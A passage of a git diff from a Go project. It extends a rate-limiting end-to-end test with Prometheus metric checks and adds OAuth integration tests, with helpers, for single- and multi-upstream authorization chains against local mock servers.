telemetryConfig.Status.ConfigHash != "" + }, timeout, pollInterval).Should(gomega.BeTrue()) + redisAddr := fmt.Sprintf("%s.%s.svc.cluster.local:6379", redisName, defaultNamespace) ginkgo.By("Creating VirtualMCPServer with per-user rate limiting") gomega.Expect(k8sClient.Create(ctx, v1beta1test.NewVirtualMCPServer(vmcpName, defaultNamespace, v1beta1test.WithVMCPGroupRef(mcpGroupName), + v1beta1test.WithVMCPTelemetryConfigRef(telemetryName), v1beta1test.WithVMCPConfig(vmcpconfig.Config{ Group: mcpGroupName, RateLimiting: &mcpv1beta1.RateLimitConfig{ @@ -165,6 +191,9 @@ var _ = ginkgo.Describe("VirtualMCPServer Rate Limiting", ginkgo.Ordered, func() _ = k8sClient.Delete(ctx, &mcpv1beta1.MCPOIDCConfig{ ObjectMeta: metav1.ObjectMeta{Name: oidcName, Namespace: defaultNamespace}, }) + _ = k8sClient.Delete(ctx, &mcpv1beta1.MCPTelemetryConfig{ + ObjectMeta: metav1.ObjectMeta{Name: telemetryName, Namespace: defaultNamespace}, + }) cleanupRedis(redisName) }) @@ -185,16 +214,112 @@ var _ = ginkgo.Describe("VirtualMCPServer Rate Limiting", ginkgo.Ordered, func() _, err = mcpClient.CallTool(ctx, req) gomega.Expect(err).ToNot(gomega.HaveOccurred()) - _, err = mcpClient.CallTool(ctx, req) - gomega.Expect(err).To(gomega.HaveOccurred()) - gomega.Expect(err.Error()).To(gomega.Or( - gomega.ContainSubstring("429"), - gomega.ContainSubstring("-32029"), - gomega.ContainSubstring("Rate limit exceeded"), - )) + result, err := mcpClient.CallTool(ctx, req) + gomega.Expect(err).ToNot(gomega.HaveOccurred()) + gomega.Expect(result.IsError).To(gomega.BeTrue()) + + structured, ok := result.StructuredContent.(map[string]any) + gomega.Expect(ok).To(gomega.BeTrue()) + gomega.Expect(structured["code"]).To(gomega.BeNumerically("==", ratelimit.CodeRateLimited)) + gomega.Expect(structured["message"]).To(gomega.Equal(ratelimit.MessageRateLimited)) + + data, ok := structured["data"].(map[string]any) + gomega.Expect(ok).To(gomega.BeTrue()) + gomega.Expect(data["retryAfterSeconds"]).To(gomega.BeNumerically(">", 0)) + + ginkgo.By("Scraping non-zero rate limit metrics") + gomega.Eventually(func() error { + metricFamilies, scrapeErr := scrapeRateLimitMetrics(vmcpLocalPort) + if scrapeErr != nil { + return scrapeErr + } + if !rateLimitCounterIsNonZero(metricFamilies, "toolhive_rate_limit_decisions", map[string]string{ + "decision": "allowed", + "scope": "per_user", + "operation_type": "server", + }) { + return fmt.Errorf("allowed rate limit decision counter is zero") + } + if !rateLimitCounterIsNonZero(metricFamilies, "toolhive_rate_limit_decisions", map[string]string{ + "decision": "rejected", + "scope": "per_user", + "operation_type": "server", + }) { + return fmt.Errorf("rejected rate limit decision counter is zero") + } + if !rateLimitHistogramIsNonZero(metricFamilies, "toolhive_rate_limit_check_latency") { + return fmt.Errorf("rate limit check latency histogram is empty") + } + return nil + }, 30*time.Second, time.Second).Should(gomega.Succeed()) }) }) +func scrapeRateLimitMetrics(port int) (map[string]*dto.MetricFamily, error) { + url := fmt.Sprintf("http://localhost:%d/metrics", port) + resp, err := http.Get(url) //nolint:noctx + if err != nil { + return nil, err + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return nil, fmt.Errorf("metrics endpoint returned HTTP %d", resp.StatusCode) + } + + parser := expfmt.NewTextParser(model.UTF8Validation) + return parser.TextToMetricFamilies(resp.Body) +} + +func rateLimitCounterIsNonZero( + families map[string]*dto.MetricFamily, + namePrefix string, + wantLabels map[string]string, +) bool { + for name, family := range families { + if !strings.HasPrefix(name, namePrefix) { + continue + } + for _, metric := range family.Metric { + if prometheusLabelsMatch(metric, wantLabels) && + metric.Counter != nil && + metric.Counter.GetValue() > 0 { + return true + } + } + } + return false +} + +func rateLimitHistogramIsNonZero( + families map[string]*dto.MetricFamily, + namePrefix string, +) bool { + for name, family := range families { + if !strings.HasPrefix(name, namePrefix) { + continue + } + for _, metric := range family.Metric { + if metric.Histogram != nil && metric.Histogram.GetSampleCount() > 0 { + return true + } + } + } + return false +} + +func prometheusLabelsMatch(metric *dto.Metric, want map[string]string) bool { + labels := make(map[string]string, len(metric.Label)) + for _, pair := range metric.Label { + labels[pair.GetName()] = pair.GetValue() + } + for name, value := range want { + if labels[name] != value { + return false + } + } + return true +} + func fetchRateLimitOIDCToken(oidcPort int, subject string) string { url := fmt.Sprintf("http://localhost:%d/token?subject=%s", oidcPort, subject) resp, err := http.Post(url, "application/x-www-form-urlencoded", nil) //nolint:noctx diff --git a/test/integration/authserver/authserver_integration_test.go b/test/integration/authserver/authserver_integration_test.go index 2fd8e22ef2..aa92eb52ae 100644 --- a/test/integration/authserver/authserver_integration_test.go +++ b/test/integration/authserver/authserver_integration_test.go @@ -8,7 +8,9 @@ import ( "crypto/ecdsa" "crypto/elliptic" "crypto/rand" + "crypto/sha256" "crypto/x509" + "encoding/base64" "encoding/json" "encoding/pem" "io" @@ -201,6 +203,172 @@ func TestEmbeddedAuthServer_AuthorizationFlow(t *testing.T) { }) } +// TestEmbeddedAuthServer_CallbackCompletesAuthorization drives the full +// single-upstream authorization: authorize (redirect to the upstream) → callback +// (upstream code exchanged, tokens stored) → the chain completes at the sole +// upstream and the authorization code is issued back to the client. This +// exercises the callback + chain-completion path that the authorize-only test +// above does not reach. +func TestEmbeddedAuthServer_CallbackCompletesAuthorization(t *testing.T) { + t.Parallel() + + ctx := context.Background() + + upstream := helpers.NewMockUpstreamIDP(t) + cfg := helpers.NewTestAuthServerConfig(t, upstream.URL()) + authServer := helpers.NewEmbeddedAuthServer(ctx, t, cfg) + + server := httptest.NewServer(authServer.Handler()) + defer server.Close() + + client := helpers.NewOAuthClient(server.URL) + clientID := registerAuthCodeClient(t, client) + challenge := pkceS256Challenge() + + // Leg 1: authorize → redirect to the upstream; capture the internal state the + // server threaded to the upstream so we can drive the callback. + authParams := url.Values{ + "response_type": {"code"}, + "client_id": {clientID}, + "redirect_uri": {testClientRedirectURI}, + "scope": {"openid"}, + "state": {"client-state-single"}, + "resource": {cfg.AllowedAudiences[0]}, + "code_challenge": {challenge}, + "code_challenge_method": {"S256"}, + } + resp, err := client.StartAuthorization(authParams) + require.NoError(t, err) + location := resp.Header.Get("Location") + require.NoError(t, resp.Body.Close()) + require.Equal(t, http.StatusFound, resp.StatusCode, "authorize should redirect to the upstream") + internalState := stateParam(t, location) + require.NotEmpty(t, internalState, "authorize must thread an internal state to the upstream") + + // Callback: with only one upstream in the chain, the server exchanges the code + // and issues the authorization code back to the client. + cbResp, err := client.Callback("mock-auth-code", internalState) + require.NoError(t, err) + defer cbResp.Body.Close() + + require.Equal(t, http.StatusSeeOther, cbResp.StatusCode, + "single-upstream chain should complete and issue the authorization code") + final := cbResp.Header.Get("Location") + assert.Contains(t, final, testClientRedirectURI, "should redirect back to the client") + assert.Contains(t, final, "code=", "should include an authorization code") + assert.Contains(t, final, "state=client-state-single", "should preserve the client state") + assert.NotContains(t, final, "error=", "should not be an error redirect") +} + +// TestEmbeddedAuthServer_MultiUpstreamChain drives an authorization across two +// configured upstreams: the first callback continues the chain to the second +// upstream, and the second callback completes it and issues the authorization +// code. This exercises the end-to-end chain traversal — the effective chain is +// computed once, carried across legs, and walked to completion. +func TestEmbeddedAuthServer_MultiUpstreamChain(t *testing.T) { + t.Parallel() + + ctx := context.Background() + + upstreamA := helpers.NewMockUpstreamIDP(t) + upstreamB := helpers.NewMockUpstreamIDP(t) + cfg := helpers.NewTestAuthServerConfig(t, upstreamA.URL(), + helpers.WithUpstreams([]authserver.UpstreamRunConfig{ + helpers.NewOAuth2Upstream("provider-a", upstreamA.URL()), + helpers.NewOAuth2Upstream("provider-b", upstreamB.URL()), + }), + ) + authServer := helpers.NewEmbeddedAuthServer(ctx, t, cfg) + + server := httptest.NewServer(authServer.Handler()) + defer server.Close() + + client := helpers.NewOAuthClient(server.URL) + clientID := registerAuthCodeClient(t, client) + challenge := pkceS256Challenge() + + authParams := url.Values{ + "response_type": {"code"}, + "client_id": {clientID}, + "redirect_uri": {testClientRedirectURI}, + "scope": {"openid"}, + "state": {"client-state-chain"}, + "resource": {cfg.AllowedAudiences[0]}, + "code_challenge": {challenge}, + "code_challenge_method": {"S256"}, + } + + // Leg 1: authorize → redirect to the first upstream. + resp, err := client.StartAuthorization(authParams) + require.NoError(t, err) + locA := resp.Header.Get("Location") + require.NoError(t, resp.Body.Close()) + require.Equal(t, http.StatusFound, resp.StatusCode) + assert.Contains(t, locA, upstreamA.URL(), "first leg targets provider-a") + stateA := stateParam(t, locA) + require.NotEmpty(t, stateA) + + // Leg 1 callback → chain continues, redirect onward to the second upstream. + cbA, err := client.Callback("code-a", stateA) + require.NoError(t, err) + locB := cbA.Header.Get("Location") + require.NoError(t, cbA.Body.Close()) + require.Equal(t, http.StatusFound, cbA.StatusCode, "chain should continue to the second upstream") + assert.Contains(t, locB, upstreamB.URL(), "second leg targets provider-b") + stateB := stateParam(t, locB) + require.NotEmpty(t, stateB) + require.NotEqual(t, stateA, stateB, "each leg uses a fresh internal state") + + // Leg 2 callback → chain complete, authorization code issued to the client. + cbB, err := client.Callback("code-b", stateB) + require.NoError(t, err) + defer cbB.Body.Close() + + require.Equal(t, http.StatusSeeOther, cbB.StatusCode, "completed chain should issue the code") + final := cbB.Header.Get("Location") + assert.Contains(t, final, testClientRedirectURI, "should redirect back to the client") + assert.Contains(t, final, "code=", "should include an authorization code") + assert.Contains(t, final, "state=client-state-chain", "should preserve the client state") + assert.NotContains(t, final, "error=", "should not be an error redirect") +} + +// testClientRedirectURI is the client callback used by the authorization-flow tests. +const testClientRedirectURI = "http://localhost:8080/callback" + +// registerAuthCodeClient performs DCR for an authorization-code client and returns +// its client_id. +func registerAuthCodeClient(t *testing.T, client *helpers.OAuthClient) string { + t.Helper() + regResult, statusCode, err := client.RegisterClient(map[string]interface{}{ + "client_name": "Integration Test Client", + "redirect_uris": []string{testClientRedirectURI}, + "grant_types": []string{"authorization_code", "refresh_token"}, + }) + require.NoError(t, err) + require.Equal(t, http.StatusCreated, statusCode, "client registration should succeed") + clientID, ok := regResult["client_id"].(string) + require.True(t, ok, "registration response must include a client_id") + return clientID +} + +// stateParam extracts the `state` query parameter from a redirect Location. +func stateParam(t *testing.T, location string) string { + t.Helper() + require.NotEmpty(t, location, "redirect must include a Location header") + u, err := url.Parse(location) + require.NoError(t, err) + return u.Query().Get("state") +} + +// pkceS256Challenge returns a valid S256 code challenge for a fixed verifier. The +// verifier itself is unused because these tests assert the authorization-code +// redirect rather than completing the token exchange. +func pkceS256Challenge() string { + const verifier = "integration-test-pkce-verifier-0123456789abcdef" + sum := sha256.Sum256([]byte(verifier)) + return base64.RawURLEncoding.EncodeToString(sum[:]) +} + // TestEmbeddedAuthServer_DynamicClientRegistration verifies DCR (RFC 7591) support. // //nolint:paralleltest,tparallel // Subtests share expensive test fixtures diff --git a/test/integration/authserver/helpers/authserver.go b/test/integration/authserver/helpers/authserver.go index f4939f445f..60fec7c992 100644 --- a/test/integration/authserver/helpers/authserver.go +++ b/test/integration/authserver/helpers/authserver.go @@ -53,6 +53,31 @@ func WithBaselineClientScopes(scopes []string) AuthServerOption { } } +// WithUpstreams overrides the default single test upstream with an explicit, +// ordered list of upstream providers. Used to exercise multi-upstream +// authorization chains. +func WithUpstreams(upstreams []authserver.UpstreamRunConfig) AuthServerOption { + return func(c *authServerConfig) { + c.upstreams = upstreams + } +} + +// NewOAuth2Upstream builds an OAuth2 upstream run config pointing at the given +// mock upstream base URL. It has no userinfo endpoint, so the auth server resolves +// a synthetic identity for it — sufficient for exercising chain traversal. +func NewOAuth2Upstream(name, upstreamURL string) authserver.UpstreamRunConfig { + return authserver.UpstreamRunConfig{ + Name: name, + Type: authserver.UpstreamProviderTypeOAuth2, + OAuth2Config: &authserver.OAuth2UpstreamRunConfig{ + AuthorizationEndpoint: upstreamURL + "/authorize", + TokenEndpoint: upstreamURL + "/token", + ClientID: "test-client-id", + RedirectURI: upstreamURL + "/callback", + }, + } +} + // GetFreePort returns an available TCP port on localhost. func GetFreePort(tb testing.TB) int { tb.Helper() diff --git a/test/integration/authserver/helpers/http_client.go b/test/integration/authserver/helpers/http_client.go index 550be402e1..31fefa53bf 100644 --- a/test/integration/authserver/helpers/http_client.go +++ b/test/integration/authserver/helpers/http_client.go @@ -116,6 +116,15 @@ func (c *OAuthClient) StartAuthorization(params url.Values) (*http.Response, err return c.httpClient.Get(authURL) } +// Callback drives the upstream callback leg: GET /oauth/callback with the given +// code and internal state. The client does not follow redirects, so the returned +// response exposes what the server issues — an onward redirect to the next +// upstream, or a redirect back to the client with an authorization code. +func (c *OAuthClient) Callback(code, state string) (*http.Response, error) { + params := url.Values{"code": {code}, "state": {state}} + return c.httpClient.Get(c.baseURL + "/oauth/callback?" + params.Encode()) +} + // ExchangeToken performs a token exchange at the token endpoint. func (c *OAuthClient) ExchangeToken(params url.Values) (map[string]interface{}, int, error) { resp, err := c.httpClient.PostForm(c.baseURL+"/oauth/token", params)